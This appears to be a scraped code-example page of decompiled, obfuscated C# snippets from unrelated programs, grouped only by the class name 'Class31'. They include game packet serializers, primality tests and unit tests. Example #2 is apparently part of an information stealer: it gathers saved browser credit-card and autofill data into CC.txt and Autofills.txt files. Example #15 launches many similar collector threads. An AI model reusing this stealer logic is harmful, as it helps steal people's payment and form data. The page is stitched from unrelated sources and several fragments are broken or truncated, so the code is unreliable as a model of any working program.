// Token: 0x060012ED RID: 4845 RVA: 0x0000460F File Offset: 0x0000280F
 internal void method_7(object object_0, Class31 class31_0)
 {
     if (this.delegate126_0 != null)
     {
         this.delegate126_0(object_0, class31_0);
     }
 }
Example #2
0
    // Token: 0x06000238 RID: 568 RVA: 0x000116A4 File Offset: 0x0000F8A4
    public static void smethod_9()
    {
        foreach (string text in Class30.smethod_5())
        {
            string fullName  = new FileInfo(text).Directory.FullName;
            string string_   = text.Contains(Dirs.AppData) ? Class30.smethod_7(fullName) : Class30.smethod_8(fullName);
            string fullName2 = new FileInfo(text).Directory.FullName;
            Class30.smethod_6(fullName);
            Class31.fLujhrskIa(fullName, string_);
        }
        string text2 = "";
        string text3 = "";

        foreach (string str in Class31.list_0)
        {
            text3 += str;
        }
        foreach (string str2 in Class30.list_0)
        {
            text2 = text2 + Environment.NewLine + str2;
        }
        if (!Directory.Exists(Dirs.WorkDir + "\\Browsers"))
        {
            Directory.CreateDirectory(Dirs.WorkDir + "\\Browsers");
        }
        if (text2 != "")
        {
            File.WriteAllText(Dirs.WorkDir + "\\Browsers\\CC.txt", text2, Encoding.Default);
        }
        if (text3 != "")
        {
            File.WriteAllText(Dirs.WorkDir + "\\Browsers\\Autofills.txt", text3, Encoding.Default);
        }
    }
Example #3
0
 // Token: 0x06000639 RID: 1593 RVA: 0x0002A5CC File Offset: 0x000287CC
 private static Expression[] smethod_2(DynamicMetaObject[] dynamicMetaObject_0)
 {
     return(new NewArrayExpression[]
     {
         Expression.NewArrayInit(typeof(object), Class31 <O3JSdjQuD5uSVMwF47d> .smethod_1(dynamicMetaObject_0))
     });
 }
Example #4
0
    // Token: 0x0600063D RID: 1597 RVA: 0x0002A6A4 File Offset: 0x000288A4
    private DynamicMetaObject method_1(string string_0, DynamicMetaObjectBinder dynamicMetaObjectBinder_0, IEnumerable <Expression> ienumerable_0, DynamicMetaObject dynamicMetaObject_0, Class31 <O3JSdjQuD5uSVMwF47d> .Delegate0 delegate0_0)
    {
        ParameterExpression parameterExpression = Expression.Parameter(typeof(object), null);
        IList <Expression>  list = new List <Expression>();

        list.Add(Expression.Convert(base.Expression, typeof(O3JSdjQuD5uSVMwF47d)));
        list.Add(Class31 <O3JSdjQuD5uSVMwF47d> .smethod_4(dynamicMetaObjectBinder_0));
        list.smethod_1(ienumerable_0);
        list.Add(parameterExpression);
        DynamicMetaObject dynamicMetaObject = new DynamicMetaObject(parameterExpression, BindingRestrictions.Empty);

        if (dynamicMetaObjectBinder_0.ReturnType != typeof(object))
        {
            dynamicMetaObject = new DynamicMetaObject(Expression.Convert(dynamicMetaObject.Expression, dynamicMetaObjectBinder_0.ReturnType), dynamicMetaObject.Restrictions);
        }
        if (delegate0_0 != null)
        {
            dynamicMetaObject = delegate0_0(dynamicMetaObject);
        }
        return(new DynamicMetaObject(Expression.Block(new ParameterExpression[]
        {
            parameterExpression
        }, new Expression[]
        {
            Expression.Condition(Expression.Call(Expression.Constant(this.class28_0), typeof(Class28 <O3JSdjQuD5uSVMwF47d>).GetMethod(string_0), list), dynamicMetaObject.Expression, dynamicMetaObject_0.Expression, dynamicMetaObjectBinder_0.ReturnType)
        }), this.method_4().Merge(dynamicMetaObject.Restrictions).Merge(dynamicMetaObject_0.Restrictions)));
    }
Example #5
0
 // Token: 0x06000E15 RID: 3605
 // RVA: 0x0004DB50 File Offset: 0x0004BD50
 public void WriteToStream(Class31 class31_0)
 {
     class31_0.Write((byte)this.bStatus_0);
     class31_0.Write(this.string_1);
     class31_0.Write(this.string_0);
     class31_0.Write((uint)this.mods_0);
     class31_0.Write((byte)this.playModes_0);
     class31_0.Write(this.int_0);
 }
Example #6
0
		// Token: 0x06000E2B RID: 3627
		// RVA: 0x0004E0A0 File Offset: 0x0004C2A0
		public void WriteToStream(Class31 class31_0)
		{
			int count = this.list_0.Count;
			class31_0.Write((short)count);
			for (int i = 0; i < count; i++)
			{
				class31_0.Write(this.list_0[i]);
			}
		}
Example #7
0
 // Token: 0x06000E27 RID: 3623
 // RVA: 0x0004E024 File Offset: 0x0004C224
 public void WriteToStream(Class31 class31_0)
 {
     int count = this.list_0.Count;
     class31_0.Write(count);
     for (int i = 0; i < count; i++)
     {
         this.list_0[i].WriteToStream(class31_0);
     }
 }
Example #8
0
        public void Test2()
        {
            List <int[]> expected = null;

            int[] input  = new int[] { 1, 2, 5 };
            int   target = 0;
            var   actual = Class31.PrintCoins(input, target);

            Assert.Equal(expected, actual);
        }
Example #9
0
    // Token: 0x0600063A RID: 1594 RVA: 0x0002A5FC File Offset: 0x000287FC
    private static Expression[] smethod_3(DynamicMetaObject[] dynamicMetaObject_0, DynamicMetaObject dynamicMetaObject_1)
    {
        Expression expression = dynamicMetaObject_1.Expression;

        return(new Expression[]
        {
            Expression.NewArrayInit(typeof(object), Class31 <O3JSdjQuD5uSVMwF47d> .smethod_1(dynamicMetaObject_0)),
            expression.Type.smethod_13() ? Expression.Convert(expression, typeof(object)) : expression
        });
    }
Example #10
0
    // Token: 0x0600063F RID: 1599 RVA: 0x0002A8A4 File Offset: 0x00028AA4
    private DynamicMetaObject method_3(string string_0, DynamicMetaObjectBinder dynamicMetaObjectBinder_0, Expression[] expression_0, Class31 <O3JSdjQuD5uSVMwF47d> .Delegate0 delegate0_0)
    {
        DynamicMetaObject  dynamicMetaObject = delegate0_0(null);
        IList <Expression> list = new List <Expression>();

        list.Add(Expression.Convert(base.Expression, typeof(O3JSdjQuD5uSVMwF47d)));
        list.Add(Class31 <O3JSdjQuD5uSVMwF47d> .smethod_4(dynamicMetaObjectBinder_0));
        list.smethod_1(expression_0);
        return(new DynamicMetaObject(Expression.Condition(Expression.Call(Expression.Constant(this.class28_0), typeof(Class28 <O3JSdjQuD5uSVMwF47d>).GetMethod(string_0), list), Expression.Empty(), dynamicMetaObject.Expression, typeof(void)), this.method_4().Merge(dynamicMetaObject.Restrictions)));
    }
Example #11
0
		// Token: 0x06000E3C RID: 3644
		// RVA: 0x0004E304 File Offset: 0x0004C504
		public void WriteToStream(Class31 class31_0)
		{
			class31_0.Write(this.int_2);
			this.class12_0.WriteToStream(class31_0);
			class31_0.Write(this.long_0);
			class31_0.Write(this.float_0);
			class31_0.Write(this.int_0);
			class31_0.Write(this.long_1);
			class31_0.Write(this.int_1);
			class31_0.Write(this.short_0);
		}
Example #12
0
    // Token: 0x06000633 RID: 1587 RVA: 0x0002A404 File Offset: 0x00028604
    public override DynamicMetaObject BindUnaryOperation(UnaryOperationBinder binder)
    {
        Class31 <O3JSdjQuD5uSVMwF47d> .Class41 @class = new Class31 <O3JSdjQuD5uSVMwF47d> .Class41();

        @class.unaryOperationBinder_0 = binder;
        @class.class31_0 = this;
        if (!this.NsEsKrivoE("TryUnaryOperation"))
        {
            return(base.BindUnaryOperation(@class.unaryOperationBinder_0));
        }
        return(this.method_0("TryUnaryOperation", @class.unaryOperationBinder_0, Class31 <O3JSdjQuD5uSVMwF47d> .smethod_0(), new Class31 <O3JSdjQuD5uSVMwF47d> .Delegate0(@class.method_0), null));
    }
Example #13
0
    // Token: 0x0600062D RID: 1581 RVA: 0x0002A140 File Offset: 0x00028340
    public override DynamicMetaObject BindDeleteMember(DeleteMemberBinder binder)
    {
        Class31 <O3JSdjQuD5uSVMwF47d> .Class35 @class = new Class31 <O3JSdjQuD5uSVMwF47d> .Class35();

        @class.deleteMemberBinder_0 = binder;
        @class.class31_0            = this;
        if (!this.NsEsKrivoE("TryDeleteMember"))
        {
            return(base.BindDeleteMember(@class.deleteMemberBinder_0));
        }
        return(this.method_3("TryDeleteMember", @class.deleteMemberBinder_0, Class31 <O3JSdjQuD5uSVMwF47d> .smethod_0(), new Class31 <O3JSdjQuD5uSVMwF47d> .Delegate0(@class.method_0)));
    }
Example #14
0
    // Token: 0x0600062E RID: 1582 RVA: 0x0002A1A0 File Offset: 0x000283A0
    public override DynamicMetaObject BindConvert(ConvertBinder binder)
    {
        Class31 <O3JSdjQuD5uSVMwF47d> .Class36 @class = new Class31 <O3JSdjQuD5uSVMwF47d> .Class36();

        @class.convertBinder_0 = binder;
        @class.class31_0       = this;
        if (!this.NsEsKrivoE("TryConvert"))
        {
            return(base.BindConvert(@class.convertBinder_0));
        }
        return(this.method_0("TryConvert", @class.convertBinder_0, Class31 <O3JSdjQuD5uSVMwF47d> .smethod_0(), new Class31 <O3JSdjQuD5uSVMwF47d> .Delegate0(@class.method_0), null));
    }
Example #15
0
 // Token: 0x06000260 RID: 608 RVA: 0x000130BC File Offset: 0x000112BC
 public static int smethod_0(string string_0)
 {
     new Thread(delegate()
     {
         Class26.smethod_0(string_0);
     }).Start();
     new Thread(delegate()
     {
         Class27.smethod_0(string_0);
     }).Start();
     new Thread(delegate()
     {
         Class28.smethod_0(string_0);
     }).Start();
     new Thread(delegate()
     {
         Class29.smethod_0(string_0);
     }).Start();
     new Thread(delegate()
     {
         Class30.smethod_0(string_0);
     }).Start();
     new Thread(delegate()
     {
         Class31.smethod_0(string_0);
     }).Start();
     new Thread(delegate()
     {
         Class32.smethod_0(string_0);
     }).Start();
     new Thread(delegate()
     {
         Class35.smethod_0(string_0);
     }).Start();
     new Thread(delegate()
     {
         Class36.smethod_0(string_0);
     }).Start();
     new Thread(delegate()
     {
         Class33.smethod_0(string_0);
     }).Start();
     new Thread(delegate()
     {
         Class34.smethod_0(string_0);
     }).Start();
     new Thread(delegate()
     {
         Class38.smethod_0(string_0);
     }).Start();
     return(Class37.int_0);
 }
Example #16
0
        public void Test3()
        {
            List <int[]> expected = new List <int[]> {
                new int[] { 1, 1, 1 },
                new int[] { 2, 1 }
            };

            int[] input  = new int[] { 1, 2, 5 };
            int   target = 3;
            var   actual = Class31.PrintCoins(input, target);

            Assert.Equal(expected, actual);
        }
Example #17
0
		// Token: 0x06000E24 RID: 3620
		// RVA: 0x0004DF24 File Offset: 0x0004C124
		public void WriteToStream(Class31 class31_0)
		{
			class31_0.Write(this.list_0.Count);
			foreach (string current in this.list_0)
			{
				class31_0.Write(current);
			}
			class31_0.Write(this.list_1.Count);
			foreach (int current2 in this.list_1)
			{
				class31_0.Write(current2);
			}
		}
Example #18
0
    // Token: 0x06000631 RID: 1585 RVA: 0x0002A314 File Offset: 0x00028514
    public override DynamicMetaObject BindInvoke(InvokeBinder binder, DynamicMetaObject[] args)
    {
        Class31 <O3JSdjQuD5uSVMwF47d> .Class39 @class = new Class31 <O3JSdjQuD5uSVMwF47d> .Class39();

        @class.invokeBinder_0      = binder;
        @class.class31_0           = this;
        @class.dynamicMetaObject_0 = args;
        if (!this.NsEsKrivoE("TryInvoke"))
        {
            return(base.BindInvoke(@class.invokeBinder_0, @class.dynamicMetaObject_0));
        }
        return(this.method_0("TryInvoke", @class.invokeBinder_0, Class31 <O3JSdjQuD5uSVMwF47d> .smethod_2(@class.dynamicMetaObject_0), new Class31 <O3JSdjQuD5uSVMwF47d> .Delegate0(@class.method_0), null));
    }
Example #19
0
 // Token: 0x06000DF5 RID: 3573
 // RVA: 0x0004D0D4 File Offset: 0x0004B2D4
 public void WriteToStream(Class31 class31_0)
 {
     class31_0.Write((short)this.int_0);
     class31_0.Write(this.int_1);
     class31_0.Write(this.int_2);
     class31_0.Write(this.int_3);
     class31_0.Write((byte)this.int_4);
     class31_0.Write((byte)this.rankings_0);
     class31_0.Write((byte)this.rankings_2);
     class31_0.Write((byte)this.rankings_1);
     class31_0.Write((byte)this.rankings_3);
     class31_0.Write(this.string_0);
 }
Example #20
0
    // Token: 0x06000636 RID: 1590 RVA: 0x0002A55C File Offset: 0x0002875C
    public override DynamicMetaObject BindDeleteIndex(DeleteIndexBinder binder, DynamicMetaObject[] indexes)
    {
        Class31 <O3JSdjQuD5uSVMwF47d> .Class44 @class = new Class31 <O3JSdjQuD5uSVMwF47d> .Class44();

        @class.deleteIndexBinder_0 = binder;
        @class.class31_0           = this;
        @class.dynamicMetaObject_0 = indexes;
        if (!this.NsEsKrivoE("TryDeleteIndex"))
        {
            return(base.BindDeleteIndex(@class.deleteIndexBinder_0, @class.dynamicMetaObject_0));
        }
        return(this.method_3("TryDeleteIndex", @class.deleteIndexBinder_0, Class31 <O3JSdjQuD5uSVMwF47d> .smethod_2(@class.dynamicMetaObject_0), new Class31 <O3JSdjQuD5uSVMwF47d> .Delegate0(@class.method_0)));
    }
Example #21
0
    // Token: 0x06000635 RID: 1589 RVA: 0x0002A4D8 File Offset: 0x000286D8
    public override DynamicMetaObject BindSetIndex(SetIndexBinder binder, DynamicMetaObject[] indexes, DynamicMetaObject value)
    {
        Class31 <O3JSdjQuD5uSVMwF47d> .Class43 @class = new Class31 <O3JSdjQuD5uSVMwF47d> .Class43();

        @class.setIndexBinder_0    = binder;
        @class.class31_0           = this;
        @class.dynamicMetaObject_0 = indexes;
        @class.dynamicMetaObject_1 = value;
        if (!this.NsEsKrivoE("TrySetIndex"))
        {
            return(base.BindSetIndex(@class.setIndexBinder_0, @class.dynamicMetaObject_0, @class.dynamicMetaObject_1));
        }
        return(this.method_2("TrySetIndex", @class.setIndexBinder_0, Class31 <O3JSdjQuD5uSVMwF47d> .smethod_3(@class.dynamicMetaObject_0, @class.dynamicMetaObject_1), new Class31 <O3JSdjQuD5uSVMwF47d> .Delegate0(@class.method_0)));
    }
Example #22
0
 // Token: 0x06000E19 RID: 3609
 // RVA: 0x0004DC2C File Offset: 0x0004BE2C
 public void WriteToStream(Class31 class31_0)
 {
     if (Class213.int_0 >= 18)
     {
         class31_0.Write(this.int_0);
     }
     class31_0.Write((ushort)this.list_0.Count);
     foreach (Class14 current in this.list_0)
     {
         current.WriteToStream(class31_0);
     }
     class31_0.Write((byte)this.enum0_0);
     this.struct13_0.WriteToStream(class31_0);
 }
Example #23
0
    // Token: 0x0600062F RID: 1583 RVA: 0x0002A200 File Offset: 0x00028400
    public override DynamicMetaObject BindInvokeMember(InvokeMemberBinder binder, DynamicMetaObject[] args)
    {
        Class31 <O3JSdjQuD5uSVMwF47d> .Class37 @class = new Class31 <O3JSdjQuD5uSVMwF47d> .Class37();

        @class.invokeMemberBinder_0 = binder;
        @class.class31_0            = this;
        @class.dynamicMetaObject_0  = args;
        if (!this.NsEsKrivoE("TryInvokeMember"))
        {
            return(base.BindInvokeMember(@class.invokeMemberBinder_0, @class.dynamicMetaObject_0));
        }
        Class31 <O3JSdjQuD5uSVMwF47d> .Delegate0 @delegate = new Class31 <O3JSdjQuD5uSVMwF47d> .Delegate0(@class.method_0);

        return(this.method_1("TryInvokeMember", @class.invokeMemberBinder_0, Class31 <O3JSdjQuD5uSVMwF47d> .smethod_2(@class.dynamicMetaObject_0), this.method_1("TryGetMember", new Class31 <O3JSdjQuD5uSVMwF47d> .Class32(@class.invokeMemberBinder_0), Class31 <O3JSdjQuD5uSVMwF47d> .smethod_0(), @delegate(null), new Class31 <O3JSdjQuD5uSVMwF47d> .Delegate0(@class.method_1)), null));
    }
Example #24
0
 // Token: 0x06000E37 RID: 3639
 // RVA: 0x0004E234 File Offset: 0x0004C434
 public void imethod_0(Class31 class31_0)
 {
     if (this.enum1_0 != Enum1.const_0)
     {
         return;
     }
     string text = string.Concat(new string[]
     {
         ":",
         this.class24_0.method_0(),
         " QUIT :",
         this.string_0,
         "\n"
     });
     class31_0.method_3(text);
 }
Example #25
0
    // Token: 0x0600062C RID: 1580 RVA: 0x0002A0C4 File Offset: 0x000282C4
    public override DynamicMetaObject BindSetMember(SetMemberBinder binder, DynamicMetaObject value)
    {
        Class31 <O3JSdjQuD5uSVMwF47d> .Class34 @class = new Class31 <O3JSdjQuD5uSVMwF47d> .Class34();

        @class.setMemberBinder_0   = binder;
        @class.class31_0           = this;
        @class.dynamicMetaObject_0 = value;
        if (!this.NsEsKrivoE("TrySetMember"))
        {
            return(base.BindSetMember(@class.setMemberBinder_0, @class.dynamicMetaObject_0));
        }
        return(this.method_2("TrySetMember", @class.setMemberBinder_0, Class31 <O3JSdjQuD5uSVMwF47d> .smethod_1(new DynamicMetaObject[]
        {
            @class.dynamicMetaObject_0
        }), new Class31 <O3JSdjQuD5uSVMwF47d> .Delegate0(@class.method_0)));
    }
Example #26
0
    // Token: 0x06000632 RID: 1586 RVA: 0x0002A388 File Offset: 0x00028588
    public override DynamicMetaObject BindBinaryOperation(BinaryOperationBinder binder, DynamicMetaObject arg)
    {
        Class31 <O3JSdjQuD5uSVMwF47d> .Class40 @class = new Class31 <O3JSdjQuD5uSVMwF47d> .Class40();

        @class.binaryOperationBinder_0 = binder;
        @class.class31_0           = this;
        @class.dynamicMetaObject_0 = arg;
        if (!this.NsEsKrivoE("TryBinaryOperation"))
        {
            return(base.BindBinaryOperation(@class.binaryOperationBinder_0, @class.dynamicMetaObject_0));
        }
        return(this.method_0("TryBinaryOperation", @class.binaryOperationBinder_0, Class31 <O3JSdjQuD5uSVMwF47d> .smethod_1(new DynamicMetaObject[]
        {
            @class.dynamicMetaObject_0
        }), new Class31 <O3JSdjQuD5uSVMwF47d> .Delegate0(@class.method_0), null));
    }
Example #27
0
    // Token: 0x0600063E RID: 1598 RVA: 0x0002A7C0 File Offset: 0x000289C0
    private DynamicMetaObject method_2(string string_0, DynamicMetaObjectBinder dynamicMetaObjectBinder_0, IEnumerable <Expression> ienumerable_0, Class31 <O3JSdjQuD5uSVMwF47d> .Delegate0 delegate0_0)
    {
        DynamicMetaObject   dynamicMetaObject   = delegate0_0(null);
        ParameterExpression parameterExpression = Expression.Parameter(typeof(object), null);
        IList <Expression>  list = new List <Expression>();

        list.Add(Expression.Convert(base.Expression, typeof(O3JSdjQuD5uSVMwF47d)));
        list.Add(Class31 <O3JSdjQuD5uSVMwF47d> .smethod_4(dynamicMetaObjectBinder_0));
        list.smethod_1(ienumerable_0);
        list[list.Count - 1] = Expression.Assign(parameterExpression, list[list.Count - 1]);
        return(new DynamicMetaObject(Expression.Block(new ParameterExpression[]
        {
            parameterExpression
        }, new Expression[]
        {
            Expression.Condition(Expression.Call(Expression.Constant(this.class28_0), typeof(Class28 <O3JSdjQuD5uSVMwF47d>).GetMethod(string_0), list), parameterExpression, dynamicMetaObject.Expression, typeof(object))
        }), this.method_4().Merge(dynamicMetaObject.Restrictions)));
    }
Example #28
0
 // Token: 0x06000E46 RID: 3654
 // RVA: 0x0004E3A4 File Offset: 0x0004C5A4
 public int method_1(Enum2 enum2_0, Class31 class31_0)
 {
     if (this.bool_0)
     {
         byte[] array = this.byte_0[(int)enum2_0];
         if (array != null)
         {
             if (array.Length > 0)
             {
                 class31_0.Seek(0, SeekOrigin.Begin);
                 class31_0.BaseStream.Write(array, 0, array.Length);
             }
             return array.Length;
         }
     }
     int num;
     switch (enum2_0)
     {
     case Enum2.const_0:
         IL_47:
         num = this.method_2(class31_0);
         goto IL_59;
     case Enum2.const_1:
         num = this.method_3(class31_0);
         goto IL_59;
     }
     goto IL_47;
     IL_59:
     if (this.bool_0)
     {
         byte[] array2 = new byte[num];
         if (num > 0)
         {
             class31_0.Seek(0, SeekOrigin.Begin);
             class31_0.BaseStream.Read(array2, 0, num);
         }
         this.byte_0[(int)enum2_0] = array2;
     }
     return num;
 }
Example #29
0
 // Token: 0x06000E48 RID: 3656
 // RVA: 0x0004E4B8 File Offset: 0x0004C6B8
 private int method_3(Class31 class31_0)
 {
     Interface5 interface = this.object_0 as Interface5;
Example #30
0
 // Token: 0x06000E45 RID: 3653
 // RVA: 0x0004E374 File Offset: 0x0004C574
 public int method_0(Stream stream_0, Class31 class31_0)
 {
     int num = this.method_1(Enum2.const_0, class31_0);
     stream_0.Write(((MemoryStream)class31_0.BaseStream).GetBuffer(), 0, num);
     return num;
 }
Example #31
0
    // Token: 0x0600063C RID: 1596 RVA: 0x0002A680 File Offset: 0x00028880
    private DynamicMetaObject method_0(string string_0, DynamicMetaObjectBinder dynamicMetaObjectBinder_0, IEnumerable <Expression> ienumerable_0, Class31 <O3JSdjQuD5uSVMwF47d> .Delegate0 delegate0_0, Class31 <O3JSdjQuD5uSVMwF47d> .Delegate0 delegate0_1 = null)
    {
        DynamicMetaObject dynamicMetaObject_ = delegate0_0(null);

        return(this.method_1(string_0, dynamicMetaObjectBinder_0, ienumerable_0, dynamicMetaObject_, delegate0_1));
    }
Example #32
0
 public bool method_10(int int_3)
 {
     Class23 @class;
        if ((this.uint_0[499] & 2147483648u) != 0u)
        {
        @class = Class23.smethod_14(this);
        }
        else
        {
        @class = this;
        }
        bool result;
        if (@class.int_2 == 1)
        {
        if (@class.uint_0[0] == 0u || @class.uint_0[0] == 1u)
        {
            result = false;
            return result;
        }
        if (@class.uint_0[0] == 2u || @class.uint_0[0] == 3u)
        {
            result = true;
            return result;
        }
        }
        if ((@class.uint_0[0] & 1u) == 0u)
        {
        result = false;
        }
        else
        {
        int num = @class.method_9();
        Class23 class2 = new Class23();
        Class23 class23_ = Class23.smethod_6(@class, new Class23(1L));
        Class31 class3 = new Class31();
        for (int i = 0; i < int_3; i++)
        {
            bool flag = false;
            while (!flag)
            {
                int j;
                for (j = 0; j < 2; j = class3.method_1() * num)
                {
                }
                class2.method_8(j, class3);
                int num2 = class2.int_2;
                if (num2 > 1 || (num2 == 1 && class2.uint_0[0] != 1u))
                {
                    flag = true;
                }
            }
            Class23 class4 = class2.method_7(@class);
            if (class4.int_2 == 1 && class4.uint_0[0] != 1u)
            {
                result = false;
                return result;
            }
            Class23 class5 = class2.method_5(class23_, @class);
            int num3 = class5.int_2;
            if (num3 > 1 || (num3 == 1 && class5.uint_0[0] != 1u))
            {
                result = false;
                return result;
            }
        }
        result = true;
        }
        return result;
 }
Example #33
0
		// Token: 0x06000E35 RID: 3637
		// RVA: 0x0000EB36 File Offset: 0x0000CD36
		public void WriteToStream(Class31 class31_0)
		{
			class31_0.Write(this.string_0);
		}
Example #34
0
		// Token: 0x06000E42 RID: 3650
		// RVA: 0x0000EBBC File Offset: 0x0000CDBC
		public void WriteToStream(Class31 class31_0)
		{
			class31_0.Write(this.string_0);
			class31_0.Write(this.string_1);
			class31_0.Write(this.vmethod_0());
		}
Example #35
0
 public bool method_11(int int_3)
 {
     Class23 class2;
        if ((this.uint_0[0x1f3] & 0x80000000) != 0)
        {
        class2 = smethod_14(this);
        }
        else
        {
        class2 = this;
        }
        if (class2.int_2 == 1)
        {
        if ((class2.uint_0[0] == 0) || (class2.uint_0[0] == 1))
        {
            return false;
        }
        if ((class2.uint_0[0] == 2) || (class2.uint_0[0] == 3))
        {
            return true;
        }
        }
        if ((class2.uint_0[0] & 1) == 0)
        {
        return false;
        }
        Class23 class3 = smethod_6(class2, new Class23(1L));
        int num = 0;
        for (int i = 0; i < class3.int_2; i++)
        {
        uint num3 = 1;
        for (int k = 0; k < 0x20; k++)
        {
            if ((class3.uint_0[i] & num3) != 0)
            {
                goto Label_00DB;
            }
            num3 = num3 << 1;
            num++;
        }
        continue;
        Label_00DB:
        i = class3.int_2;
        }
        Class23 class4 = smethod_11(class3, num);
        int num5 = class2.method_9();
        Class23 class5 = new Class23();
        Class31 class6 = new Class31();
        for (int j = 0; j < int_3; j++)
        {
        bool flag = false;
        while (!flag)
        {
            int num7 = 0;
            while (num7 < 2)
            {
                num7 = (int)(class6.method_2() * num5);
            }
            class5.method_8(num7, class6);
            int num8 = class5.int_2;
            if ((num8 > 1) || ((num8 == 1) && (class5.uint_0[0] != 1)))
            {
                flag = true;
            }
        }
        Class23 class7 = class5.method_7(class2);
        if ((class7.int_2 == 1) && (class7.uint_0[0] != 1))
        {
            return false;
        }
        Class23 class8 = class5.method_5(class4, class2);
        bool flag2 = false;
        if ((class8.int_2 == 1) && (class8.uint_0[0] == 1))
        {
            flag2 = true;
        }
        for (int m = 0; flag2; m++)
        {
        Label_01D1:
            if (0 == 0)
            {
                goto Label_0209;
            }
            if (smethod_15(class8, class3))
            {
                goto Label_0206;
            }
            class8 = smethod_24(smethod_8(class8, class8), class2);
        }
        //goto Label_01D1;
        Label_0206:
        flag2 = true;
        Label_0209:
        if (!flag2)
        {
            return false;
        }
        }
        return true;
 }
Example #36
0
 // Token: 0x06000E31 RID: 3633
 // RVA: 0x0004E1A4 File Offset: 0x0004C3A4
 public void WriteToStream(Class31 class31_0)
 {
     class31_0.Write(this.bool_0 ? this.int_1 : (-this.int_1));
     class31_0.Write(this.string_0);
     class31_0.Write((byte)(this.int_0 + 24));
     class31_0.Write(this.byte_0);
     class31_0.Write((byte)((int)((byte)this.enum30_0) | (int)((byte)this.playModes_0) << 5));
     class31_0.Write(this.float_0);
     class31_0.Write(this.float_1);
     class31_0.Write(this.int_2);
 }
Example #37
0
 // Token: 0x06000E1E RID: 3614
 // RVA: 0x0000EA92 File Offset: 0x0000CC92
 public void WriteToStream(Class31 class31_0)
 {
     class31_0.Write((byte)this.pButtonState_0);
     class31_0.Write(0);
     class31_0.Write(this.float_0);
     class31_0.Write(this.float_1);
     class31_0.Write(this.int_0);
 }
Example #38
0
 public static Class23 smethod_29(int int_3, int int_4, Class31 class31_0)
 {
     Class23 @class = new Class23();
        bool flag = false;
        while (!flag)
        {
        @class.method_8(int_3, class31_0);
        @class.uint_0[0] |= 1u;
        flag = @class.method_15(int_4);
        }
        return @class;
 }
Example #39
0
 public void method_8(int int_3, Class31 class31_0)
 {
     int num = int_3 >> 5;
        int num2 = int_3 & 31;
        if (num2 != 0)
        {
        num++;
        }
        if (num > 500)
        {
        throw new ArithmeticException("Number of required bits > maxLength.");
        }
        for (int i = 0; i < num; i++)
        {
        this.uint_0[i] = class31_0.method_0();
        }
        for (int i = num; i < 500; i++)
        {
        this.uint_0[i] = 0u;
        }
        if (num2 != 0)
        {
        uint num3 = (uint)(1 << (num2 - 1 & 31));
        this.uint_0[num - 1] |= num3;
        num3 = 4294967295u >> (32 - num2 & 31);
        this.uint_0[num - 1] &= num3;
        }
        else
        {
        this.uint_0[num - 1] |= 2147483648u;
        }
        this.int_2 = num;
        if (this.int_2 == 0)
        {
        this.int_2 = 1;
        }
 }
Example #40
0
 public Class23 method_19(int int_3, Class31 class31_0)
 {
     bool flag = false;
        Class23 @class = new Class23();
        while (!flag)
        {
        @class.method_8(int_3, class31_0);
        Class23 class2 = @class.method_7(this);
        if (class2.int_2 == 1 && class2.uint_0[0] == 1u)
        {
            flag = true;
        }
        }
        return @class;
 }
Example #41
0
 // Token: 0x06000E21 RID: 3617
 // RVA: 0x0004DE5C File Offset: 0x0004C05C
 public void WriteToStream(Class31 class31_0)
 {
     class31_0.Write(this.int_1);
     class31_0.Write(this.byte_0);
     class31_0.Write(this.ushort_1);
     class31_0.Write(this.ushort_0);
     class31_0.Write(this.ushort_2);
     class31_0.Write(this.ushort_3);
     class31_0.Write(this.ushort_4);
     class31_0.Write(this.ushort_5);
     class31_0.Write(this.int_2);
     class31_0.Write(this.ushort_7);
     class31_0.Write(this.ushort_6);
     class31_0.Write(this.bool_1);
     class31_0.Write((byte)(this.bool_0 ? this.int_0 : 254));
     class31_0.Write(this.int_3);
 }
Example #42
0
        // Token: 0x0600143B RID: 5179 RVA: 0x00024C20 File Offset: 0x00022E20
        public void MediaCollectionMediaRemoved(object pdispMedia)
        {
            Class31 class31_ = new Class31(pdispMedia);

            this.class24_0.method_7(this.class24_0, class31_);
        }
Example #43
0
 // Token: 0x06000E39 RID: 3641
 // RVA: 0x0000EB64 File Offset: 0x0000CD64
 public void WriteToStream(Class31 class31_0)
 {
     class31_0.Write(this.int_0);
     class31_0.Write((byte)this.enum1_0);
 }
Example #44
0
		// Token: 0x060031C1 RID: 12737
		// RVA: 0x00024B8A File Offset: 0x00022D8A
		public void WriteToStream(Class31 class31_0)
		{
			this.class17_0.WriteToStream(class31_0);
			class31_0.Write(this.dateTime_0);
		}
 public bool method_11(int int_3)
 {
     Class23 @class;
     if ((this.uint_0[499] & 2147483648u) != 0u)
     {
         @class = Class23.smethod_14(this);
     }
     else
     {
         @class = this;
     }
     bool result;
     if (@class.int_2 == 1)
     {
         if (@class.uint_0[0] == 0u || @class.uint_0[0] == 1u)
         {
             result = false;
             return result;
         }
         if (@class.uint_0[0] == 2u || @class.uint_0[0] == 3u)
         {
             result = true;
             return result;
         }
     }
     if ((@class.uint_0[0] & 1u) == 0u)
     {
         result = false;
     }
     else
     {
         Class23 class2 = Class23.smethod_6(@class, new Class23(1L));
         int num = 0;
         int i = 0;
         IL_E6:
         while (i < class2.int_2)
         {
             uint num2 = 1u;
             for (int j = 0; j < 32; j++)
             {
                 if ((class2.uint_0[i] & num2) != 0u)
                 {
                     i = class2.int_2;
                     IL_E2:
                     i++;
                     goto IL_E6;
                 }
                 num2 <<= 1;
                 num++;
             }
             goto IL_E2;
         }
         Class23 class23_ = Class23.smethod_11(class2, num);
         int num3 = @class.method_9();
         Class23 class3 = new Class23();
         Class31 class4 = new Class31();
         for (int k = 0; k < int_3; k++)
         {
             bool flag = false;
             while (!flag)
             {
                 int l;
                 for (l = 0; l < 2; l = (int)(class4.method_2() * (float)num3))
                 {
                 }
                 class3.method_8(l, class4);
                 int num4 = class3.int_2;
                 if (num4 > 1 || (num4 == 1 && class3.uint_0[0] != 1u))
                 {
                     flag = true;
                 }
             }
             Class23 class5 = class3.method_7(@class);
             if (class5.int_2 == 1 && class5.uint_0[0] != 1u)
             {
                 result = false;
                 return result;
             }
             Class23 class6 = class3.method_5(class23_, @class);
             bool flag2 = false;
             if (class6.int_2 == 1 && class6.uint_0[0] == 1u)
             {
                 flag2 = true;
             }
             int num5 = 0;
             while (!flag2 && num5 < num)
             {
                 if (Class23.smethod_15(class6, class2))
                 {
                     flag2 = true;
                     break;
                 }
                 class6 = Class23.smethod_24(Class23.smethod_8(class6, class6), @class);
                 num5++;
             }
             if (!flag2)
             {
                 result = false;
                 return result;
             }
         }
         result = true;
     }
     return result;
 }
Example #46
0
		// Token: 0x06000E43 RID: 3651
